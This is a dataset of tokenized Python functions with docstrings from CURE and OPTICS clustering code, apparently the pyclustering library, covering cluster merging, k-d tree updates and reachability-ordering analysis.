{"signature": "def __process_by_python(self):", "body": "self.__create_queue()  <EOL>self.__create_kdtree()  <EOL>while len(self.__queue) > self.__number_cluster:<EOL><INDENT>cluster1 = self.__queue[<NUM_LIT:0>]  <EOL>cluster2 = cluster1.closest  <EOL>self.__queue.remove(cluster1)<EOL>self.__queue.remove(cluster2)<EOL>self.__delete_represented_points(cluster1)<EOL>self.__delete_represented_points(cluster2)<EOL>merged_cluster = self.__merge_clusters(cluster1, cluster2)<EOL>self.__insert_represented_points(merged_cluster)<EOL>cluster_relocation_requests = []<EOL>if len(self.__queue) > <NUM_LIT:0>:<EOL><INDENT>merged_cluster.closest = self.__queue[<NUM_LIT:0>]  <EOL>merged_cluster.distance = self.__cluster_distance(merged_cluster, merged_cluster.closest)<EOL>for item in self.__queue:<EOL><INDENT>distance = self.__cluster_distance(merged_cluster, item)<EOL>if distance < merged_cluster.distance:<EOL><INDENT>merged_cluster.closest = item<EOL>merged_cluster.distance = distance<EOL><DEDENT>if (item.closest is cluster1) or (item.closest is cluster2):<EOL><INDENT>if item.distance < distance:<EOL><INDENT>(item.closest, item.distance) = self.__closest_cluster(item, distance)<EOL>if item.closest is None:<EOL><INDENT>item.closest = merged_cluster<EOL>item.distance = distance<EOL><DEDENT><DEDENT>else:<EOL><INDENT>item.closest = merged_cluster<EOL>item.distance = distance<EOL><DEDENT>cluster_relocation_requests.append(item)<EOL><DEDENT><DEDENT><DEDENT>self.__insert_cluster(merged_cluster)<EOL>for item in cluster_relocation_requests:<EOL><INDENT>self.__relocate_cluster(item)<EOL><DEDENT><DEDENT>self.__clusters = [cure_cluster_unit.indexes for cure_cluster_unit in self.__queue]<EOL>self.__representors = [cure_cluster_unit.rep for cure_cluster_unit in self.__queue]<EOL>self.__means = [cure_cluster_unit.mean for cure_cluster_unit in self.__queue]<EOL>", "docstring": "!\n        @brief Performs cluster analysis using python code.", "id": "f15541:c1:m3"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @return (list) List of allocated clusters.\n\n        @see process()\n        @see get_representors()\n        @see get_means()", "id": "f15541:c1:m4"}
{"signature": "def get_representors(self):", "body": "return self.__representors<EOL>", "docstring": "!\n        @brief Returns list of point-representors of each cluster.\n        @details Cluster index should be used for navigation between lists of point-representors.\n\n        @return (list) List of point-representors of each cluster.\n\n        @see get_clusters()\n        @see get_means()", "id": "f15541:c1:m5"}
{"signature": "def get_means(self):", "body": "return self.__means<EOL>", "docstring": "!\n        @brief Returns list of mean values of each cluster.\n        @details Cluster index should be used for navigation between mean values.\n\n        @return (list) List of mean values of each cluster.\n\n        @see get_clusters()\n        @see get_representors()", "id": "f15541:c1:m6"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15541:c1:m7"}
{"signature": "def __prepare_data_points(self, sample):", "body": "if isinstance(sample, numpy.ndarray):<EOL><INDENT>return sample.tolist()<EOL><DEDENT>return sample<EOL>", "docstring": "!\n        @brief Prepare data points for clustering.\n        @details In case of numpy.array there are a lot of overloaded basic operators, such as __contains__, __eq__.\n\n        @return (list) Returns sample in list format.", "id": "f15541:c1:m8"}
{"signature": "def __validate_arguments(self):", "body": "if len(self.__pointer_data) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.__number_cluster <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__number_cluster)<EOL><DEDENT>if self.__compression < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__compression)<EOL><DEDENT>if self.__number_represent_points <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__number_cluster)<EOL><DEDENT>", "docstring": "!\n        @brief Check input arguments of BANG algorithm and if one of them is not correct then appropriate exception\n                is thrown.", "id": "f15541:c1:m9"}
{"signature": "def __insert_cluster(self, cluster):", "body": "for index in range(len(self.__queue)):<EOL><INDENT>if cluster.distance < self.__queue[index].distance:<EOL><INDENT>self.__queue.insert(index, cluster)<EOL>return<EOL><DEDENT><DEDENT>self.__queue.append(cluster)<EOL>", "docstring": "!\n        @brief Insert cluster to the list (sorted queue) in line with sequence order (distance).\n\n        @param[in] cluster (cure_cluster): Cluster that should be inserted.", "id": "f15541:c1:m10"}
{"signature": "def __relocate_cluster(self, cluster):", "body": "self.__queue.remove(cluster)<EOL>self.__insert_cluster(cluster)<EOL>", "docstring": "!\n        @brief Relocate cluster in list in line with distance order.\n\n        @param[in] cluster (cure_cluster): Cluster that should be relocated in line with order.", "id": "f15541:c1:m11"}
{"signature": "def __closest_cluster(self, cluster, distance):", "body": "nearest_cluster = None<EOL>nearest_distance = float('<STR_LIT>')<EOL>real_euclidean_distance = distance ** <NUM_LIT:0.5><EOL>for point in cluster.rep:<EOL><INDENT>nearest_nodes = self.__tree.find_nearest_dist_nodes(point, real_euclidean_distance)<EOL>for (candidate_distance, kdtree_node) in nearest_nodes:<EOL><INDENT>if (candidate_distance < nearest_distance) and (kdtree_node is not None) and (kdtree_node.payload is not cluster):<EOL><INDENT>nearest_distance = candidate_distance<EOL>nearest_cluster = kdtree_node.payload<EOL><DEDENT><DEDENT><DEDENT>return (nearest_cluster, nearest_distance)<EOL>", "docstring": "!\n        @brief Find closest cluster to the specified cluster in line with distance.\n\n        @param[in] cluster (cure_cluster): Cluster for which nearest cluster should be found.\n        @param[in] distance (double): Closest distance to the previous cluster.\n\n        @return (tuple) Pair (nearest CURE cluster, nearest distance) if the nearest cluster has been found, otherwise None is returned.", "id": "f15541:c1:m12"}
{"signature": "def __insert_represented_points(self, cluster):", "body": "for point in cluster.rep:<EOL><INDENT>self.__tree.insert(point, cluster)<EOL><DEDENT>", "docstring": "!\n        @brief Insert representation points to the k-d tree.\n\n        @param[in] cluster (cure_cluster): Cluster whose representation points should be inserted.", "id": "f15541:c1:m13"}
{"signature": "def __delete_represented_points(self, cluster):", "body": "for point in cluster.rep:<EOL><INDENT>self.__tree.remove(point, payload=cluster)<EOL><DEDENT>", "docstring": "!\n        @brief Remove representation points of clusters from the k-d tree\n\n        @param[in] cluster (cure_cluster): Cluster whose representation points should be removed.", "id": "f15541:c1:m14"}
{"signature": "def __merge_clusters(self, cluster1, cluster2):", "body": "merged_cluster = cure_cluster(None, None)<EOL>merged_cluster.points = cluster1.points + cluster2.points<EOL>merged_cluster.indexes = cluster1.indexes + cluster2.indexes<EOL>dimension = len(cluster1.mean)<EOL>merged_cluster.mean = [<NUM_LIT:0>] * dimension<EOL>if merged_cluster.points[<NUM_LIT:1>:] == merged_cluster.points[:-<NUM_LIT:1>]:<EOL><INDENT>merged_cluster.mean = merged_cluster.points[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>for index in range(dimension):<EOL><INDENT>merged_cluster.mean[index] = ( len(cluster1.points) * cluster1.mean[index] + len(cluster2.points) * cluster2.mean[index] ) / ( len(cluster1.points) + len(cluster2.points) );<EOL><DEDENT><DEDENT>temporary = list()<EOL>for index in range(self.__number_represent_points):<EOL><INDENT>maximal_distance = <NUM_LIT:0><EOL>maximal_point = None<EOL>for point in merged_cluster.points:<EOL><INDENT>minimal_distance = <NUM_LIT:0><EOL>if index == <NUM_LIT:0>:<EOL><INDENT>minimal_distance = euclidean_distance_square(point, merged_cluster.mean)<EOL><DEDENT>else:<EOL><INDENT>minimal_distance = min([euclidean_distance_square(point, p) for p in temporary])<EOL><DEDENT>if minimal_distance >= maximal_distance:<EOL><INDENT>maximal_distance = minimal_distance<EOL>maximal_point = point<EOL><DEDENT><DEDENT>if maximal_point not in temporary:<EOL><INDENT>temporary.append(maximal_point)<EOL><DEDENT><DEDENT>for point in temporary:<EOL><INDENT>representative_point = [<NUM_LIT:0>] * dimension<EOL>for index in range(dimension):<EOL><INDENT>representative_point[index] = point[index] + self.__compression * (merged_cluster.mean[index] - point[index])<EOL><DEDENT>merged_cluster.rep.append(representative_point)<EOL><DEDENT>return merged_cluster<EOL>", "docstring": "!\n        @brief Merges two clusters and returns new merged cluster. Representation points and mean points are calculated for the new cluster.\n\n        @param[in] cluster1 (cure_cluster): Cluster that should be merged.\n        @param[in] cluster2 (cure_cluster): Cluster that should be merged.\n\n        @return (cure_cluster) New merged CURE cluster.", "id": "f15541:c1:m15"}
{"signature": "def __create_queue(self):", "body": "self.__queue = [cure_cluster(self.__pointer_data[index_point], index_point) for index_point in range(len(self.__pointer_data))]<EOL>for i in range(<NUM_LIT:0>, len(self.__queue)):<EOL><INDENT>minimal_distance = float('<STR_LIT>')<EOL>closest_index_cluster = -<NUM_LIT:1><EOL>for k in range(<NUM_LIT:0>, len(self.__queue)):<EOL><INDENT>if i != k:<EOL><INDENT>dist = self.__cluster_distance(self.__queue[i], self.__queue[k])<EOL>if dist < minimal_distance:<EOL><INDENT>minimal_distance = dist<EOL>closest_index_cluster = k<EOL><DEDENT><DEDENT><DEDENT>self.__queue[i].closest = self.__queue[closest_index_cluster]<EOL>self.__queue[i].distance = minimal_distance<EOL><DEDENT>self.__queue.sort(key = lambda x: x.distance, reverse = False)<EOL>", "docstring": "!\n        @brief Create queue of sorted clusters by distance between them, where first cluster has the nearest neighbor. At the first iteration each cluster contains only one point.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n\n        @return (list) Create queue of sorted clusters by distance between them.", "id": "f15541:c1:m16"}
{"signature": "def __create_kdtree(self):", "body": "self.__tree = kdtree()<EOL>for current_cluster in self.__queue:<EOL><INDENT>for representative_point in current_cluster.rep:<EOL><INDENT>self.__tree.insert(representative_point, current_cluster)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Create k-d tree in line with created clusters. At the first iteration contains all points from the input data set.\n\n        @return (kdtree) k-d tree that consist of representative points of CURE clusters.", "id": "f15541:c1:m17"}
{"signature": "def __cluster_distance(self, cluster1, cluster2):", "body": "distance = float('<STR_LIT>')<EOL>for i in range(<NUM_LIT:0>, len(cluster1.rep)):<EOL><INDENT>for k in range(<NUM_LIT:0>, len(cluster2.rep)):<EOL><INDENT>dist = euclidean_distance_square(cluster1.rep[i], cluster2.rep[k]);   <EOL>if dist < distance:<EOL><INDENT>distance = dist<EOL><DEDENT><DEDENT><DEDENT>return distance<EOL>", "docstring": "!\n        @brief Calculate minimal distance between clusters using representative points.\n\n        @param[in] cluster1 (cure_cluster): The first cluster.\n        @param[in] cluster2 (cure_cluster): The second cluster.\n\n        @return (double) Euclidean distance between two clusters that is defined by minimum distance between representation points of two clusters.", "id": "f15541:c1:m18"}
{"signature": "@staticmethod<EOL><INDENT>def show_ordering_diagram(analyser, amount_clusters = None):<DEDENT>", "body": "ordering = analyser.cluster_ordering<EOL>axis = plt.subplot(<NUM_LIT>)<EOL>if amount_clusters is not None:<EOL><INDENT>radius, borders = analyser.calculate_connvectivity_radius(amount_clusters)<EOL>left_index_border = <NUM_LIT:0><EOL>current_index_border = <NUM_LIT:0><EOL>for index_border in range(len(borders)):<EOL><INDENT>right_index_border = borders[index_border]<EOL>axis.bar(range(left_index_border, right_index_border), ordering[left_index_border:right_index_border], width = <NUM_LIT:1.0>, color = color_list.TITLES[index_border])<EOL>left_index_border = right_index_border<EOL>current_index_border = index_border<EOL><DEDENT>axis.bar(range(left_index_border, len(ordering)), ordering[left_index_border:len(ordering)], width = <NUM_LIT:1.0>, color = color_list.TITLES[current_index_border + <NUM_LIT:1>])<EOL>plt.xlim([<NUM_LIT:0>, len(ordering)])<EOL>plt.axhline(y = radius, linewidth = <NUM_LIT:2>, color = '<STR_LIT>')<EOL>plt.text(<NUM_LIT:0>, radius + radius * <NUM_LIT>, \"<STR_LIT>\" + str(round(radius, <NUM_LIT:4>)) + \"<STR_LIT>\" + str(amount_clusters), color = '<STR_LIT:b>', fontsize = <NUM_LIT:10>)<EOL><DEDENT>else:<EOL><INDENT>axis.bar(range(<NUM_LIT:0>, len(ordering)), ordering[<NUM_LIT:0>:len(ordering)], width = <NUM_LIT:1.0>, color = '<STR_LIT>')<EOL>plt.xlim([<NUM_LIT:0>, len(ordering)])<EOL><DEDENT>plt.show()<EOL>", "docstring": "!\n        @brief Display cluster-ordering (reachability-plot) diagram.\n\n        @param[in] analyser (ordering_analyser): cluster-ordering analyser whose ordering diagram should be displayed.\n        @param[in] amount_clusters (uint): if it is not 'None' then it displays connectivity radius line that can used for allocation of specified amount of clusters\n                    and colorize diagram by corresponding cluster colors.\n\n        Example demonstrates general abilities of 'ordering_visualizer' class:\n        @code\n            # Display cluster-ordering diagram with connectivity radius is used for allocation of three clusters.\n            ordering_visualizer.show_ordering_diagram(analyser, 3);\n\n            # Display cluster-ordering diagram without radius.\n            ordering_visualizer.show_ordering_diagram(analyser);\n        @endcode", "id": "f15542:c0:m0"}
{"signature": "@property<EOL><INDENT>def cluster_ordering(self):<DEDENT>", "body": "return self.__ordering<EOL>", "docstring": "!\n        @brief (list) Returns values of dataset cluster ordering.", "id": "f15542:c1:m0"}
{"signature": "def __init__(self, ordering_diagram):", "body": "self.__ordering = ordering_diagram<EOL>", "docstring": "!\n        @brief Analyser of ordering diagram that is based on reachability-distances.\n\n        @see calculate_connvectivity_radius", "id": "f15542:c1:m1"}
{"signature": "def __len__(self):", "body": "return len(self.__ordering)<EOL>", "docstring": "!\n        @brief Returns length of clustering-ordering diagram.", "id": "f15542:c1:m2"}
{"signature": "def calculate_connvectivity_radius(self, amount_clusters, maximum_iterations = <NUM_LIT:100>):", "body": "maximum_distance = max(self.__ordering)<EOL>upper_distance = maximum_distance<EOL>lower_distance = <NUM_LIT:0.0><EOL>result = None<EOL>amount, borders = self.extract_cluster_amount(maximum_distance)<EOL>if amount <= amount_clusters:<EOL><INDENT>for _ in range(maximum_iterations):<EOL><INDENT>radius = (lower_distance + upper_distance) / <NUM_LIT><EOL>amount, borders = self.extract_cluster_amount(radius)<EOL>if amount == amount_clusters:<EOL><INDENT>result = radius<EOL>break<EOL><DEDENT>elif amount == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif amount > amount_clusters:<EOL><INDENT>lower_distance = radius<EOL><DEDENT>elif amount < amount_clusters:<EOL><INDENT>upper_distance = radius<EOL><DEDENT><DEDENT><DEDENT>return result, borders<EOL>", "docstring": "!\n        @brief Calculates connectivity radius of allocation specified amount of clusters using ordering diagram and marks borders of clusters using indexes of values of ordering diagram.\n        @details Parameter 'maximum_iterations' is used to protect from hanging when it is impossible to allocate specified number of clusters.\n\n        @param[in] amount_clusters (uint): amount of clusters that should be allocated by calculated connectivity radius.\n        @param[in] maximum_iterations (uint): maximum number of iteration for searching connectivity radius to allocated specified amount of clusters (by default it is restricted by 100 iterations).\n\n        @return (double, list) Value of connectivity radius and borders of clusters like (radius, borders), radius may be 'None' as well as borders may be '[]'\n                                if connectivity radius hasn't been found for the specified amount of iterations.", "id": "f15542:c1:m3"}
{"signature": "def extract_cluster_amount(self, radius):", "body": "amount_clusters = <NUM_LIT:1><EOL>cluster_start = False<EOL>cluster_pick = False<EOL>total_similarity = True<EOL>previous_cluster_distance = None<EOL>previous_distance = None<EOL>cluster_borders = []<EOL>for index_ordering in range(len(self.__ordering)):<EOL><INDENT>distance = self.__ordering[index_ordering]<EOL>if distance >= radius:<EOL><INDENT>if cluster_start is False:<EOL><INDENT>cluster_start = True<EOL>amount_clusters += <NUM_LIT:1><EOL>if index_ordering != <NUM_LIT:0>:<EOL><INDENT>cluster_borders.append(index_ordering)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if (distance < previous_cluster_distance) and (cluster_pick is False):<EOL><INDENT>cluster_pick = True<EOL><DEDENT>elif (distance > previous_cluster_distance) and (cluster_pick is True):<EOL><INDENT>cluster_pick = False<EOL>amount_clusters += <NUM_LIT:1><EOL>if index_ordering != <NUM_LIT:0>:<EOL><INDENT>cluster_borders.append(index_ordering)<EOL><DEDENT><DEDENT><DEDENT>previous_cluster_distance = distance<EOL><DEDENT>else:<EOL><INDENT>cluster_start = False<EOL>cluster_pick = False<EOL><DEDENT>if (previous_distance is not None) and (distance != previous_distance):<EOL><INDENT>total_similarity = False<EOL><DEDENT>previous_distance = distance<EOL><DEDENT>if (total_similarity is True) and (previous_distance > radius):<EOL><INDENT>amount_clusters = <NUM_LIT:0><EOL><DEDENT>return amount_clusters, cluster_borders<EOL>", "docstring": "!\n        @brief Obtains amount of clustering that can be allocated by using specified radius for ordering diagram and borders between them.\n        @details When growth of reachability-distances is detected than it is considered as a start point of cluster, \n                 than pick is detected and after that recession is observed until new growth (that means end of the\n                 current cluster and start of a new one) or end of diagram.\n\n        @param[in] radius (double): connectivity radius that is used for cluster allocation.\n\n        @return (unit, list) Amount of clusters that can be allocated by the connectivity radius on ordering diagram and borders between them using indexes\n                 from ordering diagram (amount_clusters, border_clusters).", "id": "f15542:c1:m4"}
{"signature": "def __init__(self, index, core_distance = None, reachability_distance = None):", "body": "<EOL>self.index_object = index<EOL>self.core_distance = core_distance<EOL>self.reachability_distance = reachability_distance<EOL>self.processed = False<EOL>", "docstring": "!\n        @brief Constructor of object description in optics terms.\n\n        @param[in] index (uint): Index of the object in the data set.\n        @param[in] core_distance (double): Core distance that is minimum distance to specified number of neighbors.\n        @param[in] reachability_distance (double): Reachability distance to this object.", "id": "f15542:c2:m0"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % (self.index_object, self.core_distance, self.reachability_distance)<EOL>", "docstring": "!\n        @brief Returns string representation of the optics descriptor.", "id": "f15542:c2:m1"}
{"signature": "def __init__(self, sample, eps, minpts, amount_clusters = None, ccore = True, **kwargs):", "body": "self.__sample_pointer = sample      <EOL>self.__eps = eps                    <EOL>self.__minpts = minpts              <EOL>self.__amount_clusters = amount_clusters<EOL>self.__ordering = None<EOL>self.__clusters = None<EOL>self.__noise = None<EOL>self.__optics_objects = None<EOL>self.__data_type = kwargs.get('<STR_LIT>', '<STR_LIT>')<EOL>self.__kdtree = None<EOL>self.__ccore = ccore<EOL>self.__neighbor_searcher = self.__create_neighbor_searcher(self.__data_type)<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of clustering algorithm OPTICS.\n\n        @param[in] sample (list): Input data that is presented as a list of points (objects), where each point is represented by list or tuple.\n        @param[in] eps (double): Connectivity radius between points, points may be connected if distance between them less than the radius.\n        @param[in] minpts (uint): Minimum number of shared neighbors that is required for establishing links between points.\n        @param[in] amount_clusters (uint): Optional parameter where amount of clusters that should be allocated is specified.\n                    In case of usage 'amount_clusters' connectivity radius can be greater than real, in other words, there is place for mistake\n                    in connectivity radius usage.\n        @param[in] ccore (bool): if True than DLL CCORE (C++ solution) will be used for solving the problem.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'data_type').\n\n        <b>Keyword Args:</b><br>\n            - data_type (string): Data type of input sample 'data' that is processed by the algorithm ('points', 'distance_matrix').", "id": "f15542:c3:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of OPTICS algorithm.\n\n        @remark Results of clustering can be obtained using corresponding gets methods.\n\n        @see get_clusters()\n        @see get_noise()\n        @see get_ordering()", "id": "f15542:c3:m1"}
{"signature": "def __process_by_ccore(self):", "body": "(self.__clusters, self.__noise, self.__ordering, self.__eps,<EOL>objects_indexes, objects_core_distances, objects_reachability_distances) =wrapper.optics(self.__sample_pointer, self.__eps, self.__minpts, self.__amount_clusters, self.__data_type)<EOL>self.__optics_objects = []<EOL>for i in range(len(objects_indexes)):<EOL><INDENT>if objects_core_distances[i] < <NUM_LIT:0.0>:<EOL><INDENT>objects_core_distances[i] = None<EOL><DEDENT>if objects_reachability_distances[i] < <NUM_LIT:0.0>:<EOL><INDENT>objects_reachability_distances[i] = None<EOL><DEDENT>optics_object = optics_descriptor(objects_indexes[i], objects_core_distances[i], objects_reachability_distances[i])<EOL>optics_object.processed = True<EOL>self.__optics_objects.append(optics_object)<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis using CCORE (C/C++ part of pyclustering library).", "id": "f15542:c3:m2"}
{"signature": "def __process_by_python(self):", "body": "if self.__data_type == '<STR_LIT>':<EOL><INDENT>self.__kdtree = kdtree(self.__sample_pointer, range(len(self.__sample_pointer)))<EOL><DEDENT>self.__allocate_clusters()<EOL>if (self.__amount_clusters is not None) and (self.__amount_clusters != len(self.get_clusters())):<EOL><INDENT>analyser = ordering_analyser(self.get_ordering())<EOL>radius, _ = analyser.calculate_connvectivity_radius(self.__amount_clusters)<EOL>if radius is not None:<EOL><INDENT>self.__eps = radius<EOL>self.__allocate_clusters()<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis using python code.", "id": "f15542:c3:m3"}
{"signature": "def __initialize(self, sample):", "body": "self.__processed = [False] * len(sample)<EOL>self.__optics_objects = [optics_descriptor(i) for i in range(len(sample))]      <EOL>self.__ordered_database = []        <EOL>self.__clusters = None      <EOL>self.__noise = None         <EOL>", "docstring": "!\n        @brief Initializes internal states and resets clustering results in line with input sample.", "id": "f15542:c3:m4"}
{"signature": "def __allocate_clusters(self):", "body": "self.__initialize(self.__sample_pointer)<EOL>for optic_object in self.__optics_objects:<EOL><INDENT>if optic_object.processed is False:<EOL><INDENT>self.__expand_cluster_order(optic_object)<EOL><DEDENT><DEDENT>self.__extract_clusters()<EOL>", "docstring": "!\n        @brief Performs cluster allocation and builds ordering diagram that is based on reachability-distances.", "id": "f15542:c3:m5"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, where each cluster contains indexes of objects and each cluster is represented by list.\n\n        @return (list) List of allocated clusters.\n\n        @see process()\n        @see get_noise()\n        @see get_ordering()\n        @see get_radius()", "id": "f15542:c3:m6"}
{"signature": "def get_noise(self):", "body": "return self.__noise<EOL>", "docstring": "!\n        @brief Returns list of noise that contains indexes of objects that corresponds to input data.\n\n        @return (list) List of allocated noise objects.\n\n        @see process()\n        @see get_clusters()\n        @see get_ordering()\n        @see get_radius()", "id": "f15542:c3:m7"}
{"signature": "def get_ordering(self):", "body": "if self.__ordering is None:<EOL><INDENT>self.__ordering = []<EOL>for cluster in self.__clusters:<EOL><INDENT>for index_object in cluster:<EOL><INDENT>optics_object = self.__optics_objects[index_object]<EOL>if optics_object.reachability_distance is not None:<EOL><INDENT>self.__ordering.append(optics_object.reachability_distance)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return self.__ordering<EOL>", "docstring": "!\n        @brief Returns clustering ordering information about the input data set.\n        @details Clustering ordering of data-set contains the information about the internal clustering structure in line with connectivity radius.\n\n        @return (ordering_analyser) Analyser of clustering ordering.\n\n        @see process()\n        @see get_clusters()\n        @see get_noise()\n        @see get_radius()\n        @see get_optics_objects()", "id": "f15542:c3:m8"}
{"signature": "def get_optics_objects(self):", "body": "return self.__optics_objects<EOL>", "docstring": "!\n        @brief Returns OPTICS objects where each object contains information about index of point from processed data,\n                core distance and reachability distance.\n\n        @return (list) OPTICS objects.\n\n        @see get_ordering()\n        @see get_clusters()\n        @see get_noise()\n        @see optics_descriptor", "id": "f15542:c3:m9"}
{"signature": "def get_radius(self):", "body": "return self.__eps<EOL>", "docstring": "!\n        @brief Returns connectivity radius that is calculated and used for clustering by the algorithm.\n        @details Connectivity radius may be changed only in case of usage additional parameter of the algorithm - amount of clusters for allocation.\n\n        @return (double) Connectivity radius.\n\n        @see get_ordering()\n        @see get_clusters()\n        @see get_noise()\n        @see get_optics_objects()", "id": "f15542:c3:m10"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15542:c3:m11"}
{"signature": "def __create_neighbor_searcher(self, data_type):", "body": "if data_type == '<STR_LIT>':<EOL><INDENT>return self.__neighbor_indexes_points<EOL><DEDENT>elif data_type == '<STR_LIT>':<EOL><INDENT>return self.__neighbor_indexes_distance_matrix<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % data_type)<EOL><DEDENT>", "docstring": "!\n        @brief Returns neighbor searcher in line with data type.\n\n        @param[in] data_type (string): Data type (points or distance matrix).", "id": "f15542:c3:m12"}
{"signature": "def __expand_cluster_order(self, optics_object):", "body": "optics_object.processed = True<EOL>neighbors_descriptor = self.__neighbor_searcher(optics_object)<EOL>optics_object.reachability_distance = None<EOL>self.__ordered_database.append(optics_object)<EOL>if len(neighbors_descriptor) >= self.__minpts:<EOL><INDENT>neighbors_descriptor.sort(key = lambda obj: obj[<NUM_LIT:1>])<EOL>optics_object.core_distance = neighbors_descriptor[self.__minpts - <NUM_LIT:1>][<NUM_LIT:1>]<EOL>order_seed = list()<EOL>self.__update_order_seed(optics_object, neighbors_descriptor, order_seed)<EOL>while len(order_seed) > <NUM_LIT:0>:<EOL><INDENT>optic_descriptor = order_seed[<NUM_LIT:0>]<EOL>order_seed.remove(optic_descriptor)<EOL>neighbors_descriptor = self.__neighbor_searcher(optic_descriptor)<EOL>optic_descriptor.processed = True<EOL>self.__ordered_database.append(optic_descriptor)<EOL>if len(neighbors_descriptor) >= self.__minpts:<EOL><INDENT>neighbors_descriptor.sort(key = lambda obj: obj[<NUM_LIT:1>])<EOL>optic_descriptor.core_distance = neighbors_descriptor[self.__minpts - <NUM_LIT:1>][<NUM_LIT:1>]<EOL>self.__update_order_seed(optic_descriptor, neighbors_descriptor, order_seed)<EOL><DEDENT>else:<EOL><INDENT>optic_descriptor.core_distance = None<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>optics_object.core_distance = None<EOL><DEDENT>", "docstring": "!\n        @brief Expand cluster order from not processed optic-object that corresponds to object from input data.\n               Traverse procedure is performed until objects are reachable from core-objects in line with connectivity radius.\n               Order database is updated during expanding.\n\n        @param[in] optics_object (optics_descriptor): Object that hasn't been processed.", "id": "f15542:c3:m13"}
{"signature": "def __extract_clusters(self):", "body": "self.__clusters = []<EOL>self.__noise = []<EOL>current_cluster = self.__noise<EOL>for optics_object in self.__ordered_database:<EOL><INDENT>if (optics_object.reachability_distance is None) or (optics_object.reachability_distance > self.__eps):<EOL><INDENT>if (optics_object.core_distance is not None) and (optics_object.core_distance <= self.__eps):<EOL><INDENT>self.__clusters.append([ optics_object.index_object ])<EOL>current_cluster = self.__clusters[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>self.__noise.append(optics_object.index_object)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>current_cluster.append(optics_object.index_object)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Extract clusters and noise from order database.", "id": "f15542:c3:m14"}
{"signature": "def __update_order_seed(self, optic_descriptor, neighbors_descriptors, order_seed):", "body": "for neighbor_descriptor in neighbors_descriptors:<EOL><INDENT>index_neighbor = neighbor_descriptor[<NUM_LIT:0>]<EOL>current_reachable_distance = neighbor_descriptor[<NUM_LIT:1>]<EOL>if self.__optics_objects[index_neighbor].processed is not True:<EOL><INDENT>reachable_distance = max(current_reachable_distance, optic_descriptor.core_distance)<EOL>if self.__optics_objects[index_neighbor].reachability_distance is None:<EOL><INDENT>self.__optics_objects[index_neighbor].reachability_distance = reachable_distance<EOL>index_insertion = len(order_seed)<EOL>for index_seed in range(<NUM_LIT:0>, len(order_seed)):<EOL><INDENT>if reachable_distance < order_seed[index_seed].reachability_distance:<EOL><INDENT>index_insertion = index_seed<EOL>break<EOL><DEDENT><DEDENT>order_seed.insert(index_insertion, self.__optics_objects[index_neighbor])<EOL><DEDENT>else:<EOL><INDENT>if reachable_distance < self.__optics_objects[index_neighbor].reachability_distance:<EOL><INDENT>self.__optics_objects[index_neighbor].reachability_distance = reachable_distance<EOL>order_seed.sort(key = lambda obj: obj.reachability_distance)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Update sorted list of reachable objects (from core-object) that should be processed using neighbors of core-object.\n\n        @param[in] optic_descriptor (optics_descriptor): Core-object whose neighbors should be analysed.\n        @param[in] neighbors_descriptors (list): List of neighbors of core-object.\n        @param[in|out] order_seed (list): List of sorted object in line with reachable distance.", "id": "f15542:c3:m15"}
{"signature": "def __neighbor_indexes_points(self, optic_object):", "body": "kdnodes = self.__kdtree.find_nearest_dist_nodes(self.__sample_pointer[optic_object.index_object], self.__eps)<EOL>return [[node_tuple[<NUM_LIT:1>].payload, math.sqrt(node_tuple[<NUM_LIT:0>])] for node_tuple in kdnodes if<EOL>node_tuple[<NUM_LIT:1>].payload != optic_object.index_object]<EOL>", "docstring": "!\n        @brief Return neighbors of the specified object in case of sequence of points.\n\n        @param[in] optic_object (optics_descriptor): Object for which neighbors should be returned in line with connectivity radius.\n\n        @return (list) List of indexes of neighbors in line the connectivity radius.", "id": "f15542:c3:m16"}
